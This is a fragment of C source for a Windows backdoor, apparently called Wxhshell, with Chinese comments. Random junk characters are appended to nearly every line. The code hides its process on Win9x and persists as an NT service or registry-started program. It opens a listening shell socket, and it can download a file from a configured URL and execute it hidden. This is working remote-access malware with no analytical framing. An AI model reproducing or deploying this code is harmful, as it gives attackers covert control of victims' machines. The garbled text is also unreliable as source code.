DWORD ExitStatus; /p@0Q[E
DWORD PebBaseAddress; h6(L22Hn
DWORD AffinityMask; 6[>Z y)P
DWORD BasePriority; VH.}}RS%
ULONG UniqueProcessId; ve=
nh]N
ULONG InheritedFromUniqueProcessId; );x[1*e
} PROCESS_BASIC_INFORMATION; C6b(\#g(
faI4`.i
PROCNTQSIP NtQueryInformationProcess; ;V1e>?3
_]=, U.a=/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lnnt b3q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DzCb'#
z[_Gg8e
HANDLE hProcess; R
)e^H
PROCESS_BASIC_INFORMATION pbi; 2VS#=i(B^
{eo?vA8SE
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y|Zj
M
if(NULL == hInst ) return 0; '
9
^kpu9H
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YyR~pT#ffT
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @BXV>U2B{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J)Td'iT(
aMjCqu05
if (!NtQueryInformationProcess) return 0; KHXnB
(tP^F)}e5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rW3fd.;kss
if(!hProcess) return 0; M3
$MgsN:
`{I-E5x
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S b3@7^
O8ZHIs
CloseHandle(hProcess); $eBE pN
jVu3 !{}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I*K~GXWs#
if(hProcess==NULL) return 0; >j$CM:w
Nm=W?i
HMODULE hMod; mWM!6"
char procName[255]; /fc@=CO
unsigned long cbNeeded; }mC-SC)oSi
2xd G&}$fa
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `4 A%BKYB
4<&`\<jZ
CloseHandle(hProcess); _\LAWQ|M4[
j7 D\O
if(strstr(procName,"services")) return 1; // 以服务启动 <&rvv4*H
,9p
4(jjX
return 0; // 注册表启动 QY<2i-A
} K(HP PM\
""ICdZ_A
// 主模块 HIi5kv]}|
int StartWxhshell(LPSTR lpCmdLine) PGHl:4`Es!
{ &a
p{|>3
SOCKET wsl; j{9sn,<:
BOOL val=TRUE; JQ8wL _C>
int port=0; T!)v9L
struct sockaddr_in door; 9_F2nmEv
{@oYMO~
if(wscfg.ws_autoins) Install(); |L4K#
i1?H*:]
port=atoi(lpCmdLine); Hay`lA2@
T)]5k3{
if(port<=0) port=wscfg.ws_port; }CA oB::&
a<M<) {$u
WSADATA data; Nq)=E[$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TCFx+*fBd
</|IgN$w`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `2?9eXC
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q%(LMq4UG
door.sin_family = AF_INET; Qe=!'u.nL
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8|w_PP1oE
door.sin_port = htons(port); <w.W[ak
`bffw:;%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n9Z|69W6>
closesocket(wsl); @
Sw[+`
return 1; jYRwtP\
} }}v;V*_V
|b52JF
",
if(listen(wsl,2) == INVALID_SOCKET) { hd.^ZD7
closesocket(wsl); Mjrl KI}f/
return 1; 4QZ -7_
} m#mM2Guxe
Wxhshell(wsl); eW]K~SPd7
WSACleanup(); SqTO~zGC
t7("geN]
return 0; S\
~Wpf
=)(o(bfSKr
} {b[8x
XS]=sfN
// 以NT服务方式启动 O/>$kG%ge
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !12W(4S5
{ h&||Ql1
DWORD status = 0; ,Utp6X
DWORD specificError = 0xfffffff; E@aR5S>
>z1RCQWju
serviceStatus.dwServiceType = SERVICE_WIN32; c-!rJHL`
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'Uew(o
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q-3%.<LL
serviceStatus.dwWin32ExitCode = 0; !MNUp(:
serviceStatus.dwServiceSpecificExitCode = 0; |r!G(an1x4
serviceStatus.dwCheckPoint = 0; Zg%U4m:
serviceStatus.dwWaitHint = 0; <*~vZT i(
eP$0TDZ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @!&\Z[",
if (hServiceStatusHandle==0) return; c$Js<[1
a0Cf.[L
status = GetLastError(); EX7cjQsml
if (status!=NO_ERROR) d {a^
{ 8'_>A5L/C
serviceStatus.dwCurrentState = SERVICE_STOPPED; wX" 6 S:
serviceStatus.dwCheckPoint = 0; W`K XO|'p@
serviceStatus.dwWaitHint = 0; @;M( oFS9
serviceStatus.dwWin32ExitCode = status; Xz&Hfs"/J
serviceStatus.dwServiceSpecificExitCode = specificError; 2c@R!*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $%"i|KTsv:
return; meT~b
} qi_[@da f?
&i4*tE3],
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?N<* ATCL
serviceStatus.dwCheckPoint = 0; :O)\v!Z
serviceStatus.dwWaitHint = 0; Mb=vIk{Bf
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Tk9u+;=6$
} y!;rY1
K?,eIZ{.S
// 处理NT服务事件,比如:启动、停止 YA O,
rh
VOID WINAPI NTServiceHandler(DWORD fdwControl) mK5<;$
{ Q\ TawRK8
switch(fdwControl) +^YXqOXU
{ ao#{N=mn
case SERVICE_CONTROL_STOP: Nt9M$?\P
serviceStatus.dwWin32ExitCode = 0; o {Sc
serviceStatus.dwCurrentState = SERVICE_STOPPED; \%z#|oV#<
serviceStatus.dwCheckPoint = 0; LCx{7bN1ro
serviceStatus.dwWaitHint = 0;
'{p/F
$
{ R<@s]xX_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jt?4raNW
} H%>
E6rVB
return; at]=SA
case SERVICE_CONTROL_PAUSE: `@q[&^
serviceStatus.dwCurrentState = SERVICE_PAUSED; I3]-$
break; eTemRNz
case SERVICE_CONTROL_CONTINUE: :2iNw>z1
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0]?} kY
break; G=/a>{
case SERVICE_CONTROL_INTERROGATE: kg?[
break; z %{Z
}; nfET;:{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [74HUw>
} W~(@*H
@^]wT_r
// 标准应用程序主函数 a|rN %hA4
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YyEW}2
{ g*?)o!_*
VI7f}
// 获取操作系统版本 GTL gj'B
OsIsNt=GetOsVer(); =NLsT.aa
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'RK.w^
XG FjqZr`
// 从命令行安装 I.BsKB
if(strpbrk(lpCmdLine,"iI")) Install(); vaN}M)W/
t&}Z~Zp
// 下载执行文件 5SPhdpIg@[
if(wscfg.ws_downexe) { 3<.]+ukm
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )rcFBD{vM
WinExec(wscfg.ws_filenam,SW_HIDE); XCr\Y`,Z@
} 81Ixs
Qt
yN}upYxp
if(!OsIsNt) { ]Hr:|2|.
// 如果时win9x,隐藏进程并且设置为注册表启动 eD5:0;X2
HideProc(); P7ktr?V0a
StartWxhshell(lpCmdLine); qYo"-D*
} aK>5r^7S
else aDEz|>q
if(StartFromService()) !_EL{ /ko
// 以服务方式启动 Mx?]7tI
StartServiceCtrlDispatcher(DispatchTable); GP=i6I6C
else -+MGs]),
// 普通方式启动 K5l#dl_T
StartWxhshell(lpCmdLine); >d#oJ?goX
;VM',40
return 0; L(Ww6oj
}